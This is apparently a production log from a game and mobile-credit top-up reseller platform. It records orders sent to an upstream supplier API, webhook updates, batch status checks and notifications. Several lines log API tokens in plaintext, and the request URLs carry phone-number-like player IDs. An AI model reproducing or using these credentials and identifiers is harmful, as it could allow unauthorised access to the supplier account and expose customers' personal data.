[2026-03-24 19:10:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"1hMre1szX3nKTs7gcZreaRvhbXgCsB4d","execution_time":"2026-03-24 19:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 19:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"1hMre1szX3nKTs7gcZreaRvhbXgCsB4d","execution_time":"2026-03-24 19:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Clcqbox-1774368595","operation_id":164079} 
[2026-03-24 19:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"1hMre1szX3nKTs7gcZreaRvhbXgCsB4d","execution_time":"2026-03-24 19:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ejTzYyc-1774368542","operation_id":164077} 
[2026-03-24 19:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"1hMre1szX3nKTs7gcZreaRvhbXgCsB4d","execution_time":"2026-03-24 19:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SpkYU-1774368472","operation_id":164076} 
[2026-03-24 19:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"1hMre1szX3nKTs7gcZreaRvhbXgCsB4d","execution_time":"2026-03-24 19:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:10:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"1hMre1szX3nKTs7gcZreaRvhbXgCsB4d","execution_time":"2026-03-24 19:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 19:10:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"1hMre1szX3nKTs7gcZreaRvhbXgCsB4d","execution_time":"2026-03-24 19:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 19:10:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"1hMre1szX3nKTs7gcZreaRvhbXgCsB4d","execution_time":"2026-03-24 19:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 19:10:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 19:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 19:10:04] production.INFO: async() رجع: true  
[2026-03-24 19:10:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 19:10:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-SpkYU-1774368472","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 19:10:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-SpkYU-1774368472","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 19:10:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:10:04] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":179175} 
[2026-03-24 19:10:04] production.INFO: Order updated successfully. Order ID: 179175, Status: completed  
[2026-03-24 19:10:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-SpkYU-1774368472","status":"completed","codes_count":0} 
[2026-03-24 19:10:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Clcqbox-1774368595","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:10:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-Clcqbox-1774368595","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:10:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:10:04] production.INFO: SendAcceptReject: Notification queued {"user_id":52,"notification_type":"order_approved","reference_id":179178} 
[2026-03-24 19:10:04] production.INFO: Order updated successfully. Order ID: 179178, Status: completed  
[2026-03-24 19:10:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Clcqbox-1774368595","status":"completed","codes_count":0} 
[2026-03-24 19:10:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 19:10:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 19:10:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 19:10:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 19:10:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 19:10:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 19:10:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 19:10:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 19:10:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 19:10:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 19:10:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 19:10:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 52  
[2026-03-24 19:10:06] production.INFO: Constructing job for order: 179179  
[2026-03-24 19:10:08] production.INFO: Handling job for order: 179179  
[2026-03-24 19:10:08] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:10:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:10:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=b9324d20-518a-4ca7-8493-ed2cbeee9f2e&Player_ID=0944364584  
[2026-03-24 19:10:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=b9324d20-518a-4ca7-8493-ed2cbeee9f2e&Player_ID=0944364584","has_body":false} 
[2026-03-24 19:10:09] production.INFO: Operation sent successfully {"operation_id":164080,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-qZ2U2zv-1774368609","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:10:09"}},"processed_data":{"order_number":"ORD-qZ2U2zv-1774368609","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:10:16] production.INFO: Constructing job for order: 179181  
[2026-03-24 19:10:18] production.INFO: Handling job for order: 179181  
[2026-03-24 19:10:18] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:10:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:10:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=81b668fe-795d-4082-b6e3-e9d90a74c77a&Player_ID=0944364584  
[2026-03-24 19:10:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=81b668fe-795d-4082-b6e3-e9d90a74c77a&Player_ID=0944364584","has_body":false} 
[2026-03-24 19:10:19] production.INFO: Operation sent successfully {"operation_id":164081,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-dohcZU-1774368619","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:10:19"}},"processed_data":{"order_number":"ORD-dohcZU-1774368619","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:10:36] production.INFO: SendAcceptReject: Notification queued {"user_id":125,"notification_type":"order_rejected","reference_id":178809} 
[2026-03-24 19:10:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 125  
[2026-03-24 19:10:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 125  
[2026-03-24 19:11:50] production.INFO: Constructing job for order: 179187  
[2026-03-24 19:11:50] production.INFO: Constructing job for order: 179188  
[2026-03-24 19:11:52] production.INFO: Handling job for order: 179188  
[2026-03-24 19:11:52] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:11:52] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:11:52] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0522b5f7-1970-4494-b50e-d92693212b0c&Player_ID=52222120299  
[2026-03-24 19:11:52] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0522b5f7-1970-4494-b50e-d92693212b0c&Player_ID=52222120299","has_body":false} 
[2026-03-24 19:11:53] production.INFO: Operation sent successfully {"operation_id":164082,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-bx0Rf2-1774368712","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:11:53"}},"processed_data":{"order_number":"ORD-bx0Rf2-1774368712","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:11:53] production.INFO: Handling job for order: 179187  
[2026-03-24 19:11:53] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:11:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:11:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/90/params?qty=1&uuid=2db54c92-5ba0-4169-a7ef-c44eb2a80138&Player_ID=5197148792  
[2026-03-24 19:11:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/90/params?qty=1&uuid=2db54c92-5ba0-4169-a7ef-c44eb2a80138&Player_ID=5197148792","has_body":false} 
[2026-03-24 19:11:53] production.INFO: Operation sent successfully {"operation_id":164083,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-W0B-1774368713","amount":9.3465000000000006963318810448981821537017822265625,"status":"processing","product":"1080+120 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 19:11:53"}},"processed_data":{"order_number":"ORD-W0B-1774368713","amount":9.3465000000000006963318810448981821537017822265625,"status":"processing","product":"1080+120 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 19:12:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03"} 
[2026-03-24 19:12:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","total_operations":6,"sites_count":2} 
[2026-03-24 19:12:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-tmRYG-1774365381","ORD-ejTzYyc-1774368542","ORD-W0B-1774368713","ORD-bx0Rf2-1774368712"]} 
[2026-03-24 19:12:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:12:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 19:12:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:12:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W0B-1774368713","operation_id":164083} 
[2026-03-24 19:12:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W0B-1774368713","operation_id":164083,"processed":2,"skipped":2,"updates_prepared":2} 
[2026-03-24 19:12:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W0B-1774368713","operation_id":164083,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 19:12:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W0B-1774368713","operation_id":164083,"count":2} 
[2026-03-24 19:12:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W0B-1774368713","operation_id":164083,"count":2} 
[2026-03-24 19:12:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W0B-1774368713","operation_id":164083,"user_id":659,"notification_type":"order_approved","reference_id":179188} 
[2026-03-24 19:12:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W0B-1774368713","operation_id":164083,"user_id":1466,"notification_type":"order_approved","reference_id":179176} 
[2026-03-24 19:12:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W0B-1774368713","operation_id":164083,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:12:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W0B-1774368713","operation_id":164083,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:12:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W0B-1774368713","operation_id":164083,"processed":2,"errors":0} 
[2026-03-24 19:12:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W0B-1774368713","operation_id":164083,"processed":2,"errors":0} 
[2026-03-24 19:12:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W0B-1774368713","operation_id":164083,"orders_count":2,"order_ids":["ORD-qZ2U2zv-1774368609","ORD-dohcZU-1774368619"]} 
[2026-03-24 19:12:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W0B-1774368713","operation_id":164083} 
[2026-03-24 19:12:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W0B-1774368713","operation_id":164083,"orders_count":2} 
[2026-03-24 19:12:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qZ2U2zv-1774368609","operation_id":164080,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 19:12:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qZ2U2zv-1774368609","operation_id":164080,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 19:12:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qZ2U2zv-1774368609","operation_id":164080,"count":2} 
[2026-03-24 19:12:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qZ2U2zv-1774368609","operation_id":164080,"count":2} 
[2026-03-24 19:12:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qZ2U2zv-1774368609","operation_id":164080,"user_id":376,"notification_type":"order_approved","reference_id":179181} 
[2026-03-24 19:12:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qZ2U2zv-1774368609","operation_id":164080,"user_id":376,"notification_type":"order_approved","reference_id":179179} 
[2026-03-24 19:12:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qZ2U2zv-1774368609","operation_id":164080,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:12:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qZ2U2zv-1774368609","operation_id":164080,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:12:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qZ2U2zv-1774368609","operation_id":164080,"processed":2,"errors":0} 
[2026-03-24 19:12:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qZ2U2zv-1774368609","operation_id":164080,"processed":2,"errors":0} 
[2026-03-24 19:12:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"BVwW3llrU2q4YqIqTvW6xKIYlsh5fsxG","execution_time":"2026-03-24 19:12:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qZ2U2zv-1774368609","operation_id":164080} 
[2026-03-24 19:12:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 659  
[2026-03-24 19:12:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1466  
[2026-03-24 19:12:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 376  
[2026-03-24 19:12:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 376  
[2026-03-24 19:12:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-bx0Rf2-1774368712","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:12:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-bx0Rf2-1774368712","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:12:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:12:04] production.ERROR: Order not found or already processed. External ID: ORD-bx0Rf2-1774368712  
[2026-03-24 19:12:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-bx0Rf2-1774368712","status":"completed","codes_count":0} 
[2026-03-24 19:12:09] production.INFO: Constructing job for order: 179190  
[2026-03-24 19:12:12] production.INFO: Handling job for order: 179190  
[2026-03-24 19:12:12] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:12:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:12:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=5ade63b3-dfba-4c69-b9a8-d4ecbd058c2f&Player_ID=5340219212  
[2026-03-24 19:12:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=5ade63b3-dfba-4c69-b9a8-d4ecbd058c2f&Player_ID=5340219212","has_body":false} 
[2026-03-24 19:12:13] production.INFO: Operation sent successfully {"operation_id":164084,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ZqgcA61-1774368732","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:12:13"}},"processed_data":{"order_number":"ORD-ZqgcA61-1774368732","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:12:14] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-W0B-1774368713","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:12:14] production.INFO: Processed webhook data (normalized) {"id":"ORD-W0B-1774368713","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:12:14] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:12:14] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_approved","reference_id":179187} 
[2026-03-24 19:12:14] production.INFO: Order updated successfully. Order ID: 179187, Status: completed  
[2026-03-24 19:12:14] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-W0B-1774368713","status":"completed","codes_count":0} 
[2026-03-24 19:12:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 19:12:17] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"100.0","mainamount":"100","operation_number":"158608702","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php09lt1dosq8b941DHbSP"}},"user_id":1133} 
[2026-03-24 19:12:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 19:12:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 19:12:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 19:12:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 19:12:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 19:12:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 19:12:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 19:12:19] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 19:12:19] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18678,"user_id":1133,"amount":100.0,"admins_notified":7} 
[2026-03-24 19:12:23] production.INFO: Constructing job for order: 179191  
[2026-03-24 19:12:25] production.INFO: Handling job for order: 179191  
[2026-03-24 19:12:25] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:12:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:12:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=f3b97bca-dcfb-46e6-b010-c167f5859e4f&Player_ID=0985560675  
[2026-03-24 19:12:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=f3b97bca-dcfb-46e6-b010-c167f5859e4f&Player_ID=0985560675","has_body":false} 
[2026-03-24 19:12:26] production.INFO: Operation sent successfully {"operation_id":164085,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mkRUR-1774368745","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:12:25"}},"processed_data":{"order_number":"ORD-mkRUR-1774368745","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:12:27] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ZqgcA61-1774368732","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:12:27] production.INFO: Processed webhook data (normalized) {"id":"ORD-ZqgcA61-1774368732","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:12:27] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:12:27] production.INFO: SendAcceptReject: Notification queued {"user_id":52,"notification_type":"order_approved","reference_id":179190} 
[2026-03-24 19:12:27] production.INFO: Order updated successfully. Order ID: 179190, Status: completed  
[2026-03-24 19:12:27] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ZqgcA61-1774368732","status":"completed","codes_count":0} 
[2026-03-24 19:12:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 52  
[2026-03-24 19:12:32] production.INFO: Constructing job for order: 179193  
[2026-03-24 19:12:35] production.INFO: Handling job for order: 179193  
[2026-03-24 19:12:35] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:12:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:12:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/29/params?qty=1&uuid=2620614f-f8cc-4ea9-949a-d6f0f054a547&Player_ID=0985560675  
[2026-03-24 19:12:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/29/params?qty=1&uuid=2620614f-f8cc-4ea9-949a-d6f0f054a547&Player_ID=0985560675","has_body":false} 
